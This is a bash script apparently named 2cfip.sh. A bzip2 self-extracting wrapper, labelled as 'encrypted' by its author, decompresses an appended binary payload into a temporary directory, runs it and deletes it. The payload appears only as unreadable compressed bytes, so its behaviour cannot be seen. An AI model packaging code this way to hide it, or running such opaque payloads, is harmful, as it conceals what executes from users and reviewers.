#!/bin/bash # # Encrypted by Rangga Fajar Oktariansyah (Anak Gabut Thea) # # This file has been encrypted with BZip2 Shell Exec # The filename '2cfip.sh' encrypted at Thu Apr 4 13:27:09 UTC 2024 # I try invoking the compressed executable with the original name # (for programs looking at their name). We also try to retain the original # file permissions on the compressed file. For safety reasons, bzsh will # not create setuid or setgid shell scripts. # # WARNING: the first line of this file must be either : or #!/bin/bash # The : is required for some old versions of csh. # On Ultrix, /bin/bash is too buggy, change the first line to: #!/bin/bash5 # # Don't forget to follow me on skip=75 tab=' ' nl=' ' IFS=" $tab$nl" # Make sure important variables exist if not already defined # $USER is defined by login(1) which is not always executed (e.g. containers) # POSIX: https://pubs.opengroup.org/onlinepubs/009695299/utilities/id.html USER=${USER:-$(id -u -n)} # $HOME is defined at the time of login, but it could be unset. If it is unset, # a tilde by itself (~) will not be expanded to the current user's home directory. # POSIX: https://pubs.opengroup.org/onlinepubs/009696899/basedefs/xbd_chap08.html#tag_08_03 HOME="${HOME:-$(getent passwd $USER 2>/dev/null | cut -d: -f6)}" # macOS does not have getent, but this works even if $HOME is unset HOME="${HOME:-$(eval echo ~$USER)}" umask=`umask` umask 77 bztmpdir= trap 'res=$? test -n "$bztmpdir" && rm -fr "$bztmpdir" (exit $res); exit $res ' 0 1 2 3 5 10 13 15 case $TMPDIR in / | */tmp/) test -d "$TMPDIR" && test -w "$TMPDIR" && test -x "$TMPDIR" || TMPDIR=$HOME/.cache/; test -d "$HOME/.cache" && test -w "$HOME/.cache" && test -x "$HOME/.cache" || mkdir "$HOME/.cache";; */tmp) TMPDIR=$TMPDIR/; test -d "$TMPDIR" && test -w "$TMPDIR" && test -x "$TMPDIR" || TMPDIR=$HOME/.cache/; test -d "$HOME/.cache" && test -w "$HOME/.cache" && test -x "$HOME/.cache" || mkdir "$HOME/.cache";; *:* | *) TMPDIR=$HOME/.cache/; test -d "$HOME/.cache" && test -w "$HOME/.cache" && test -x "$HOME/.cache" || mkdir "$HOME/.cache";; esac if type mktemp >/dev/null 2>&1; then bztmpdir=`mktemp -d "${TMPDIR}bztmpXXXXXXXXX"` else bztmpdir=${TMPDIR}bztmp$$; mkdir $bztmpdir fi || { (exit 127); exit 127; } bztmp=$bztmpdir/$0 case $0 in -* | */*' ') mkdir -p "$bztmp" && rm -r "$bztmp";; */*) bztmp=$bztmpdir/`basename "$0"`;; esac || { (exit 127); exit 127; } case `printf 'X\n' | tail -n +1 2>/dev/null` in X) tail_n=-n;; *) tail_n=;; esac if tail $tail_n +$skip <"$0" | bzip2 -cd > "$bztmp"; then umask $umask chmod 700 "$bztmp" (sleep 5; rm -fr "$bztmpdir") 2>/dev/null & "$bztmp" ${1+"$@"}; res=$? else printf >&2 '%s\n' "Cannot decompress ${0##*/}" printf >&2 '%s\n' "Report bugs to ." (exit 127); res=127 fi; exit $res BZh91AY&SYAĀ~0}w tK@4@ ODbiީFCɩjzClQ茙dh@ # ɈL 2b0FAd2hɂ!#@2d5窀¢CR22&D @hh @#&dM4 # ɈL 2b0FAd2hɂ!#@2d"4S##F'O2HSž#&CMꌙѠzIe6`CF#v|$%g7 R̭t=d&TNJ/0amNdS Q9VVtu}Pa f[nIJ0B߆rŖ˫Zಐ-4S]TUE}\ Je}XJ5fkIJ52O\m0 ļ˥ʴCks-`Pqy&NR=P2nz>x;TJ:hçy}6~V㟡2V5l4e)qV! p\, A {Z~~ hͲl#f׻2\ @#""%XGQDDK*% ̄` fĘB)?86=(C@t6rC!}f<ҵ4oK;dpK@bsZKWuAՏ0R 42m0-&(;.ЃƟL(=:!ɤz.P|} zuEmdyw3{{ xX_zF< ޔּ#{<׵xb:"" I*%g,e"CAHP0 D[W~T WSS@GUtP6#6)L[mmmmmm3Peh$bC`5A'w Ϭqd`v4O00 ـ! wӼ^'y),@$|A@ABad9&b VDDHL+N1/nd;DDI,&[ -R@@d,%=2085d  I!QP߯Da5$z~풗SԆ91Li0 QeJÝB` KLW Èq.C'0OA) :@~9 ~D @w?K#m B/FOҬ f"@H .)x98 eTpAٌ˞Em n H #5wkɫ_]fA$فV(D7L˭"dpT.OG'آHǦ00 00 00 001OCڃ헼@UWx9NyWȾ/n! z<NV8dٳMDJEt-l=) H L)Yb)=0. O-E&e [@%AՇMfIݾb.omgxB}@ʹB!C~<a?,&(@9'^@dS{*0VAHxte4.R" + } *ȗ%Nn1O'b@I$BfTCZ`N(V84`yE7qh$!!qjǹ9qeW)a$ANs†0 7iLӡʇsqXsӛei_ W.DlrXmخt [aSf K6B-2/IS@r4wY \! ,$@jjPKT#@`U Ē`7NK#~F]C%y7n("%p_wR@e $ KC0'dn-dKQAȎ aɡ(XęQ垰s@F t2܌r,ergBAC!6>>+:tEhE]l㠆;ӎ"iRda Sj2$dIa ``,fɊhKA@( =s@# #C o!<뗝, Bo_"{!waťb.KC*7~*?9@Fi2v9:^k}>iZ->HUZ